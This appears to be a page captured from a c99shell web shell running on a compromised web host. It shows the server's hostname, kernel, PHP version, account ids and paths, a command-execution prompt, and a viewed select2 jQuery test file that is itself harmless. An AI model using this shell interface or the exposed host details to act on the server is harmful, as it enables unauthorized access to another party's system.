Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) Safe-mode: OFF (not secure) /var/www/clients/client172/web473/web/aps/xcrud/plugins/select2-develop/tests/options/ drwxr-xr-x |
Viewing file: data-tests.js (1.04 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | module('Options - Attributes'); var $ = require('jquery'); var Options = require('select2/options'); test('no nesting', function (assert) { var $test = $('<select data-test="test"></select>'); var options = new Options({}, $test); assert.equal(options.get('test'), 'test'); }); test('with nesting', function (assert) { var $test = $('<select data-first--second="test"></select>'); if ($test[0].dataset == null) { assert.ok( true, 'We can not run this test with jQuery 1.x if dataset is not implemented' ); return; } var options = new Options({}, $test); assert.ok(!(options.get('first-Second'))); assert.equal(options.get('first').second, 'test'); }); test('overrides initialized data', function (assert) { var $test = $('<select data-override="yes" data-data="yes"></select>'); var options = new Options({ options: 'yes', override: 'no' }, $test); assert.equal(options.get('options'), 'yes'); assert.equal(options.get('override'), 'yes'); assert.equal(options.get('data'), 'yes'); }); |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0119 ]-- |